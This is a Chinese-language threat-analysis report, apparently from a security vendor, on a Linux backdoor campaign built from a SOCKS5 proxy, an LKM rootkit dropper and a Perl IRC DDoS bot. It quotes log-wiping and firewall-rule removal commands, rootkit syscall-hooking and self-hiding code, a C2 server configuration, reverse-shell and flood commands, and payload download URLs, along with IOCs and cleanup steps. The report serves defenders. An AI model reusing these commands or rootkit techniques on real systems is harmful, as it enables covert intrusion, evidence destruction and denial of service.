
近期,深信服千里目安全技术中心监测到一起Linux后门事件、经过深度分析排查发现该事件与UTG-Q-008团伙存在关联,该家族是针对Linux平台的威胁行为者,主要针对中国政府机构和企业实体,利用庞大的僵尸网络进行间谍活动。
恶意文件概要
恶意文件名称 | Linux多功能病毒分析 |
发布时间 | 2026年5月12日 |
威胁类型 | Rootkit、后门、DDoS、僵尸网络 |
简单描述 | 攻击者通过多个恶意文和开源软件的组合利用实现实现内核Rootkit隐藏、后门部署、僵尸网络搭建和流量代理转发等多种高危害行为。 |
恶意文件分析

恶意文件描述
近期,深信服千里目安全技术中心监测到一起Linux后门事件、经过深度分析排查发现该事件与UTG-Q-008团伙存在关联,该家族是针对Linux平台的威胁行为者,主要针对中国政府机构和企业实体,利用庞大的僵尸网络进行间谍活动。

恶意文件分析
此次攻击一共发现三个文件,涵盖了代理转发、权限维持、漏洞扫描和利用、DDos、后门等常见的操作。
1.dnsresolve
该样本为SS5 Socks Server Version 3.8.9 - Release 8,是一个开源 SOCKS5 代理服务器软件。使用gcc (GNU) 4.1.2 20080704 (Red Hat 4.1.2-55)进行编译,主要包含了如下功能:
函数名 | 地址 | 大小 | 功能 |
main | 0x4208800 | 2840 | 程序入口,参数解析,环境变量处理 |
S5Core | 0x4214096 | 15470 | 核心 SOCKS5 代理处理逻辑(最大函数) |
S5SetStatic | 0x4231088 | 1371 | 初始化静态配置默认值 |
S5LoadConfig | 0x4248400 | 505 | 加载配置文件并触发模块加载 |
S5LoadConfData | 0x4236512 | 9924 | 解析配置文件(auth/proxy/bandwidth/route等) |
S5LoadModules | 0x4251264 | 3662 | 动态加载 .so 模块 |
S5LoadPeers | 0x4236016 | 496 | 加载对等节点配置 |
S5PropagateConfig | 0x4246448 | 1254 | 向对等节点传播配置 |
S5ReceiveConfig | 0x4247712 | 678 | 接收来自主节点的配置 |
S5MainThread | 0x4248976 | 378 | 主线程循环,接受连接 |
S5ServerMake | 0x4230320 | 345 | 创建监听 socket |
S5ServerAccept | 0x4230144 | 168 | 接受客户端连接 |
S5MakeDaemon | 0x4230672 | 61 | 守护进程化(fork→setsid→fork→chdir→umask) |
S5UIDSet | 0x4230736 | 177 | 降权操作(getpwnam→setgid→initgroups→setuid) |
DirectoryQuery | 0x4254928 | 3455 | LDAP 目录查询认证 |
DirectoryCheck | 0x4258384 | 514 | 目录认证检查 |
S5RadiusAuth | 0x4261552 | 2741 | RADIUS 认证 |
S5RadiusAcct | 0x4258912 | 2633 | RADIUS 计费 |
S5GetIf | 0x4234656 | 710 | 获取网络接口信息 |
S5GetRange | 0x4233056 | 255 | 解析 IP 范围 |
S5GetNetmask | 0x4233312 | 180 | 解析网络掩码 |
S5StrHash | 0x4232992 | 57 | 字符串哈希 |
S5Debug* 系列 | - | - | 调试/日志输出函数 |
启动流程:
1. 初始化默认配置: 监听地址 `0.0.0.0:1080`,运行用户 `nobody`
2. 检查环境变量并覆盖配置(`SS5_SOCKS_USER`, `SS5_SOCKS_PORT`, `SS5_SOCKS_ADDR` 等)
3. 解析命令行参数
4. 加载 `.so` 模块(`S5LoadModules`)
5. 加载配置文件(`S5LoadConfig`)
6. 守护进程化(`S5MakeDaemon`)
7. 降权运行(`S5UIDSet`)
8. 进入主循环(`S5Core` / `S5MainThread`)
2.59a515e28d1515ae
该文件是一个从bash脚本打包的ELF文件,包含了自解压、socks5、内核级Rookit三个组件协同工作。核心函数如下:
函数 | 地址 | 功能 |
sub_402354 | 0x4203348 | 初始化对象 (XOR 解码 /proc/self/exe路径) |
sub_4046E0 | 0x4212448 | 初始化参数解析对象 |
sub_404A3A | 0x4213306 | XOR 解码包装 (调用 sub_4059E4, key=0x2E) |
sub_474AD0 | 0x4672208 | readlink()系统调用包装— 读取 /proc/self/exe获取自身路径 |
sub_4743B0 | 0x4670384 | 自定义realpath()— 通过 inode 向上爬升目录树解析绝对路径 |
sub_40E1F0 | 0x4248016 | std::string 子串赋值 |
sub_404BB2 | 0x4213682 | 字符串后缀匹配 (检查文件扩展名) |
sub_40D3E0 | 0x4249568 | 字符串搜索 (在 shebang 中查找解释器名) |
sub_42D0A0 | 0x4366496 | setenv()— 设置环境变量 |
sub_404EAA | 0x4214442 | Shell 执行包装 (v63=0) |
sub_404F48 | 0x4214600 | Python 执行包装 (v63=1) |
sub_404FE6 | 0x4214758 | Perl/Node/Ruby 执行包装 (v63=2,3,4) |
sub_405084 | 0x4214916 | PHP/Lua 执行包装 (v63=5,7) |
sub_405122 | 0x4215074 | Rscript 执行包装 (v63=6) |
sub_46CBE0 | 0x4639728 | 核心进程执行— PATH 查找解释器 → execve |
文件执行之后从自身解密出需要执行的bash代码,在bash代码中包含了如下几个核心的恶意逻辑:
反取证
rm-rf /var/www/html/config.json # 删除 Web 服务器配置rm-rf /root/.xmrig.json # 删除 XMRig 矿工配置rm-rf /root/.config/xmrig.json # 删除 XMRig 备用配置rm-rf /var/log/messages* # ★ 摧毁系统日志rm-rf /var/log/secure* # ★ 摧毁安全审计日志rm-rf /var/log/auth.log* # ★ 摧毁认证日志rm-rf /var/log/syslog* # ★ 摧毁 syslog
摧毁系统审计日志, 使入侵检测和安全分析失效。删除别的挖矿程序配置。
系统调优 + 防火墙规避
提高系统资源上限 (为挖矿优化)
echo"fs.file-max = 2097152" > /etc/sysctl.conf # 写入内核参数sysctl -p# 立即生效ulimit -SHn1024000# 提高进程文件句柄上限
隐藏 iptables 二进制
mv /usr/sbin/tokens /usr/sbin/iptables # "恢复" iptables (tokens → iptables)mv /sbin/tokens /sbin/iptables # 同上
脚本假设系统管理员已将 iptables 重命名为 tokens 以阻止恶意软件使用。脚本将其"恢复正常", 然后操纵防火墙规则, 最后再隐藏:
mv /usr/sbin/iptables /usr/sbin/tokens # 再次隐藏 iptablesmv /sbin/iptables /sbin/tokens
移除已知矿池 C2 的防火墙封锁,脚本搜索并删除针对以下 IP 段的 INPUT DROP 规则:
IP段 | 提供商 |
138.68.0.0/16 | DigitalOcean |
67.207.0.0/16 | DigitalOcean |
46.101.0.0/16 | DigitalOcean |
157.245.0.0/16 | DigitalOcean |
146.190.0.0/16 | DigitalOcean |
144.126.0.0/16 | DigitalOcean |
167.172.0.0/16 | DigitalOcean |
172.104.0.0/16 | Linode |
172.105.0.0/16 | Linode |
iptables -L INPUT -v-n | grep <IP> | awk'{print $8}' | xargs -rL1 iptables -D INPUT -j DROP -s
部署 LKM Rootkit (cloud_monitor)
这是最危险的组件。脚本内嵌完整 C 语言内核模块源码, 在目标机器上现场编译并加载。
编译流程
mkdir /tmp/b# 写入 cloud_monitor.h (宏定义)# 写入 cloud_monitor.c (约 400 行内核模块代码)# 写入 Makefilemake-C /lib/modules/`uname -r`/build M=/tmp/b modulesinsmod /tmp/b/cloud_monitor.korm-rf /tmp/b # 清理编译痕迹
被挂钩的系统调用
系统调用 | 挂钩后行为 |
getdents | 过滤目录列表中的隐藏条目 |
getdents64 | 同上 (64位版本) |
kill | 拦截自定义信号, 实现后门功能 |
自定义后门信号
信号 | 编号 | 功能 |
SIGINVIS | 41 | 设置进程PF_INVISIBLE标志→ 从 ps/top//proc中隐藏进程 |
SIGSUPER | 54 | 修改 cred 结构 → 直接获取 root 权限 (uid=0,gid=0,suid=0,...) |
SIGMODINVIS | 53 | 从内核模块链表list_del→ 从 lsmod中隐藏自身 |
文件/目录隐藏:任何以 $hhide (默认 ad12e85f) 为前缀的文件/目录在 ls/find/readdir 中不可见:
#define MAGIC_PREFIX "ad12e85f"// 在 hacked_getdents 中:if (memcmp(MAGIC_PREFIX, dir->d_name, strlen(MAGIC_PREFIX)) ==0) {// 从返回结果中移除此条目}
同时, 以数字命名的进程 ID 也会在 /proc 中被隐藏 (通过 is_invisible 检查 PF_INVISIBLE 标志)。
内存保护绕过
// x86/x86_64: 修改 CR0 寄存器绕过写保护cr0=read_cr0();unprotect_memory(); // write_cr0(cr0 & ~0x00010000)// 修改系统调用表...protect_memory(); // write_cr0(cr0)// ARM64: 直接修改页表权限update_mapping_prot(phys, virt, size, PAGE_KERNEL);
自隐藏技术
// 从内核模块链表中删除自身module_hide() {module_previous=THIS_MODULE->list.prev;list_del(&THIS_MODULE->list); // 从 lsmod 不可见}// 删除 sect_attrs 防止 sysfs 暴露tidy() {kfree(THIS_MODULE->sect_attrs);THIS_MODULE->sect_attrs=NULL; // /sys/module/ 不可见}
Rootkit 元数据
属性 | 值 |
模块名 | cloud_monitor(伪装云监控) |
许可证 | "Dual BSD/GPL" (虚假) |
作者 | m0nad (开源 LKM rootkit 作者) |
描述 | "LKM rootkit" |
兼容内核 | Linux 2.6.18 ~ 5.7+ (支持 x86_64、ARM64) |
部署 SS5 SOCKS5 代理
# 从隐藏在 /etc/$hhide/ 的 dnsresolve 复制 SS5 代理cp /etc/ad12e85f/dnsresolve /$EXE# $EXE = md5sum($RANDOM)[:8]# 以静默、线程模式启动 SS5 SOCKS5 代理/$EXE-m-t-p /usr/share/terminfo/w/wy66-qa -b0.0.0.0:$port# 删除可执行文件 (进程仍在内存中运行)rm-rf /$EXE# 通过 rootkit 信号隐藏 SS5 进程kill-41`cat /usr/share/terminfo/w/wy66-qa`# 通过 rootkit 信号隐藏内核模块kill-5310000000
SS5 配置
参数 | 说明 |
-m | 静默模式 (不输出日志) |
-t | 线程模式 |
-p | PID 文件路径 (/usr/share/terminfo/w/wy66-qa) |
-b | 绑定地址:端口 (0.0.0.0:$port) |
默认端口 | 由脚本$1参数决定 |
伪装路径
SS5 PID 文件: /usr/share/terminfo/w/wy66-qa (伪装成 terminfo 数据库条目)
SS5 可执行文件: 随机 8 字符 MD5 前缀, 执行后立即删除
SS5 原始文件: /etc/$hhide/dnsresolve (被 rootkit 隐藏)
日志清除收尾
journalctl --vacuum-time=1s # 清空 systemd journal 日志
3.ssh_host_dsa_key.pub
该文件与59a515e28d1515ae同源不同构建,通过 SSC 自解压编译器投递,嵌入 Perl 脚本 (~46KB) 实现 IRC C2 通信、DDoS 攻击、漏洞扫描、反向 Shell、日志清除等全功能。基于 "LiGhT's Modded perlbot v2" (Sida/Perlbot 变种)。文件名伪装为 SSH 主机密钥 (.pub)。释放的Perl脚本具备以下功能:
C2 配置
my$processo='usr/sbin/httpd'; # 伪装的进程名my$linas_max='10'; # 每批输出行数my$sleep='5'; # 批次间隔my$servidor='adam.established.site'; # ★ C2 IRC 服务器my$porta='80'; # ★ 端口80my@adms= ("qwerty","asdfgh1","zxcvbn1","12345"); # 管理员my@hostauth= ("qwerty"); # 授权主机my@canais= ("#ssh"); # IRC 频道my$chanpass="@"; # 频道密码# 机器人命名格式$nick="L_${CPU_CORES}_${HOSTNAME}"; $ircname="linux_${CPU_CORES}"; # IRC 用户名$realname="${HOSTNAME} ${CPU_CORES}"; # 真实名
DDoS 攻击命令
命令 | 格式 | 协议 | 实现 |
udpflood | !u udpflood <host> <pkt_size> <time> | UDP Raw | socket(SOCK1, PF_INET, SOCK_RAW, 2)+ SOCK_DGRAM |
udp | !u udp <host> <port> <pkt_size> <time> | UDP | inet_aton+ send() |
tcpflood | !u tcpflood <host> <port> <pkt_size> <time> | TCP SYN | 1000并发 socket()+connect()+shutdown() |
httpflood | !u httpflood <host> <time> | HTTP GET | IO::Socket::INET->new(PeerPort=>80)循环 GET |
sqlflood | !u sqlflood <host> <time> | MySQL | IO::Socket::INET->new(PeerPort=>3306)循环连接 |
syn | !u syn <dstip> <dstport> <time> | TCP SYN | 编译的./synC程序 (需先 install-syn) |
sudp | !u sudp <host> <port> <refl> <thr> <time> | UDP | 编译的./50xC程序 (需先 install-50x) |
IRC 洪水命令
命令 | 目标 | 方式 |
!u msgflood <who> | 用户 | 10次 PRIVMSG |
!u dunixflood <who> | 用户 | 10次 DUNIX CHAT CTCP |
!u ctcpflood <who> | 用户 | 20次 CTCP VERSION+PING |
!u noticeflood <who> | 用户 | 10次 NOTICE |
!u channelflood | 频道 | 25次 JOIN 随机频道 |
!u maxiflood <who> | 用户 | 60次 混合 (NOTICE+CTCP+PRIVMSG) |
漏洞扫描/攻击命令
命令 | 功能 |
!u multiscan <vuln> <dork> | 14个搜索引擎联合 Dork → SQL注入批量扫描 |
!u sql <url> <columns> | 单URL UNION注入检测 |
!u sql2 <vuln> <dork> <columns> | Google Dork → 多搜索引擎 → SQL注入 |
!u portscan <ip> | 扫描 70+ 常用端口 (15-55555) |
!u nmap <ip> <begin> <end> | 指定端口范围扫描 |
!u autoscan <kw> <url> <script> <interval> | 自动化 Web 扫描器 |
后门/访问命令
命令 | 功能 |
!u cback <ip> <port> | 反向 Shell → /bin/sh -i重定向到攻击者 ip:port |
!u socks5 | 自动安装 SOCKS5 代理 (下载 mocks + 配置 + 启动) |
!u system | 显示系统信息nprochostnameuname -auptimepwdid |
!u sys | 同上 (详细版) |
!u sendmail <subj> <from> <to> <msg> | 发送邮件 (/usr/sbin/sendmail) |
权限提升检测 (unixable)
检查 30+ Linux 内核漏洞的本地提权可能: w00t, brk, ave, elflbl, elfdump, expand_stack, h00lyshit, kdump, km2, krad, krad3, local26, loko, mremap_pte, newlocal, ong_bak, ptrace, ptrace_kmod, ptrace24, pwned, py2, raptor_prctl, prctl3, remap, rip, stackgrow2, uselib24, newsmp, smpracer, loginx, exp.sh, prctl, kmdx, raptor, raptor2
反取证命令
命令 | 功能 |
!u logcleaner+ !u no | 删除/var/log/*/var/adm/*apache日志 .bash_history |
!u cleartmp+ !u no | cd /tmp; rm -rf * |
IRC 管理命令
命令 | 功能 |
!u killme | 自杀 (kill -9 <pid>) |
加入/离开频道 | |
!u reset | 断开重新连接 |
!u nick <name> | 更换昵称 |
!u op/deop/halfop/dehalfop/voice/devoice/owner/deowner <who> | IRC 频道权限管理 |
!u connect <server> <nick> | 连接到其他 IRC 服务器 |
!u raw <data> | 发送原始 IRC 数据 |
!u eval <code> | 直接执行 Perl 代码! |
信息/帮助命令
命令 | 功能 |
!u version | 显示版本→ "LiGhT's Modded perlbot v2" |
!u packetstorm | 从 packetstormsecurity.org 获取最新漏洞 |
!u milw0rm | 从 milw0rm.com 获取最新 Exploit |
!u extras+ !u install-syn | 从 server.perpetual.pw 下载编译 SYN Flood 工具 |
!u install-50x | 从同一服务器下载 50x UDP amplification 工具 |
!u commands | 列出所有可用命令 |
!u help/ddos/irc/flooding/hacking/news/linuxhelp | 分类帮助 |

攻击攻击全景图


IOCs
1 2 3 4 5 6 7 8 9 | URL: adam.established.site:80 andromeda.covers.de/221/mocks.conf server.perpetual.pw/syn.c server.perpetual.pw/50x.c http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz MD5 05808c4722b06831246b821d1cbb800c 0320b2342100803a8546a2de877c6b3d cbcd7afaaf22cb64d4f7f9a3c94c7c18 |
解决方案

建议处置流程
临时解决方案
# 1. 终止 Bot 进程 (伪装为 httpd!),!!!!需要先查看是为否正常httpd进程在杀ps aux | grep httpd | grep-v apache | grep-v nginx | awk'{print $2}' | xargs kill-9ps aux | grep perl | grep IO::Socket | awk'{print $2}' | xargs kill-9•# 2. 阻止 C2 通信iptables -A OUTPUT -d adam.established.site -j DROP # 防火墙阻断echo"0.0.0.0 adam.established.site" >> /etc/hosts # 将域名导向本地# 3. 卸载模块,如果模块被隐藏, 需要重启到救援模式rmmod cloud_monitor# 验证lsmod | grep cloud_monitor# 4. 恢复 iptablesmv /usr/sbin/tokens /usr/sbin/iptablesmv /sbin/tokens /sbin/iptables# 重建防火墙规则# 5. 清除恶意文件rm-rf /etc/ad12e85f/rm-f /usr/share/terminfo/w/wy66-qa...# 6. 恢复系统配置# 检查 /etc/sysctl.conf 是否被篡改# 检查 ulimit 设置# 7. 查找并停止 SS5 进程:# rootkit 可能隐藏进程, 检查网络连接netstat -tlnp | grep <unknown_listen_port>ss -tlnp